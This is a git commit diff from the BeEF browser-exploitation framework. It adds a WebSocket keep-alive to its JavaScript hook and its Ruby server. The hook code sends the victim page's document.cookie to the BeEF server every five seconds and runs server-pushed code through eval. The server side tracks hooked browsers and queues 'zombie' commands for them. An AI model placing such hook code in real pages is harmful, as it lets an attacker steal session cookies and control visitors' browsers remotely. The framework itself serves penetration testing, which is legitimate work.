Now the Alive check is by ws Timer 5 second

Tested And work
This commit is contained in:
Graziano Felline
2012-04-19 19:30:19 +02:00
parent b41c6e8559
commit c83e7d584e
4 changed files with 74 additions and 62 deletions

View File

@@ -13,63 +13,69 @@
// See the License for the specific language governing permissions and
// limitations under the License.
//
// if beef.pageIsLoaded is true, then this JS has been loaded >1 times
// and will have a new session id. The new session id will need to know
// the brwoser details. So sendback the browser details again.
BEEFHOOK=beef.session.get_hook_session_id()
BEEFHOOK = beef.session.get_hook_session_id()
if( beef.pageIsLoaded ) {
beef.net.browser_details();
if (beef.pageIsLoaded) {
beef.net.browser_details();
}
window.onload = function() {
beef_init();
window.onload = function () {
beef_init();
}
window.onpopstate = function(event) {
if(beef.onpopstate.length > 0) {
event.preventDefault;
for(var i=0;i<beef.onpopstate.length;i++){
var callback = beef.onpopstate[i];
try{
callback(event);
}catch(e){
console.log("window.onpopstate - couldn't execute callback: " + e.message);
}
return false;
}
}
window.onpopstate = function (event) {
if (beef.onpopstate.length > 0) {
event.preventDefault;
for (var i = 0; i < beef.onpopstate.length; i++) {
var callback = beef.onpopstate[i];
try {
callback(event);
} catch (e) {
console.log("window.onpopstate - couldn't execute callback: " + e.message);
}
return false;
}
}
}
window.onclose = function(event) {
if(beef.onclose.length > 0) {
event.preventDefault;
for(var i=0;i<beef.onclose.length;i++){
var callback = beef.onclose[i];
try{
callback(event);
}catch(e){
console.log("window.onclose - couldn't execute callback: " + e.message);
}
return false;
}
}
window.onclose = function (event) {
if (beef.onclose.length > 0) {
event.preventDefault;
for (var i = 0; i < beef.onclose.length; i++) {
var callback = beef.onclose[i];
try {
callback(event);
} catch (e) {
console.log("window.onclose - couldn't execute callback: " + e.message);
}
return false;
}
}
}
function beef_init() {
if (!beef.pageIsLoaded) {
beef.pageIsLoaded = true;
/*@note we have to load websocket only if browser has websocket and beef server has websocketserver up
* the second check is require for this */
if(beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined')
beef.websocket.start();
}
beef.net.browser_details();
beef.updater.execute_commands();
beef.updater.check();
beef.logger.start();
if (!beef.pageIsLoaded) {
beef.pageIsLoaded = true;
if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
beef.websocket.start();
beef.net.browser_details();
beef.updater.execute_commands();
beef.logger.start();
}
else {
beef.net.browser_details();
beef.updater.execute_commands();
beef.updater.check();
beef.logger.start();
}
}
}

View File

@@ -58,7 +58,7 @@ beef.updater = {
}
}
//if ( typeof beef.websocket === "undefined")
// ( typeof beef.websocket === "undefined")
setTimeout("beef.updater.check();", beef.updater.timeout);
},

View File

@@ -44,11 +44,11 @@ beef.websocket = {
/*send browser id*/
beef.websocket.send('{"cookie":"' + document.cookie + '"}');
console.log("Connected and Helo");
beef.websocket.alive();
}
this.socket.onmessage = function (message) {
console.log("Received message via WS.");
//todo check message and send pong if ping req
eval(message.data);
console.log("Received message via WS."+ message.data);
eval(message.data);
}
},
@@ -56,6 +56,13 @@ beef.websocket = {
send:function (data) {
this.socket.send(data);
console.log("Sent [" + data + "]");
},
alive: function (){
beef.websocket.send('{"alive":"'+document.cookie+'"}');
console.log("sent alive");
setTimeout("beef.websocket.alive()", 5000);
}
};

View File

@@ -22,11 +22,11 @@ module BeEF
require 'base64'
class Websocket
include Singleton
include BeEF::Core::Handlers::Modules::Command
# @note obtain dynamic mount points from HttpHookServer
MOUNTS = BeEF::Core::Server.instance.mounts
@@activeSocket= Hash.new #empty at begin
@@lastalive= Hash.new
def initialize
config = BeEF::Core::Configuration.instance
port = config.get("beef.http.websocket.port")
@@ -52,6 +52,13 @@ module BeEF
#insert new connection in activesocket
@@activeSocket["#{messageHash["cookie"]}"] = ws
print_debug("In activesocket we have #{@@activeSocket}")
elsif messageHash["alive"] != nil
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"].gsub("BEEFHOOK=",""))
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
hooked_browser.save
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
else
#json recv is a cmd response decode and send all to
#we have to call dynamicreconstructor handler camp must be websocket
@@ -61,26 +68,17 @@ module BeEF
end
end
rescue Exception => e
print_error "Hooked browser from origin #{ws.origin} abruptly disconnected."
print_error "Hooked browser from origin #{ws.origin} abruptly disconnected. #{e}"
end
end
}
##Alive check
# Thread.new{
#
# @@activeSocket.each_key{|key , value|
# ping send token and update beefdb whit new timestamp insert a timer
#
# }
#
#
# }
end
#@note used in command.rd return nill if browser is not in list else giveback websocket
#@param [String] browser_id the cookie value
def getsocket (browser_id)
if (@@activeSocket[browser_id] != nil)
if (@@activeSocket["BEEFHOOK=#{browser_id}"] != nil)
true
else
false
@@ -91,7 +89,7 @@ module BeEF
#@param [String] fn the module to execute
#@param [String] browser_id the cookie value
def sent (fn, browser_id)
@@activeSocket[browser_id].send(fn)
@@activeSocket["BEEFHOOK=#{browser_id}"].send(fn)
end
BeEF::Core::Handlers::Commands
@@ -99,6 +97,7 @@ module BeEF
#@param [Hash] data contains the answer of a command
#@todo ve this stuff in an Handler and resolve the Module friendly name
def execute (data)
command_results=Hash.new
command_results["data"]=Base64.decode64(data["result"])
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(data["bh"])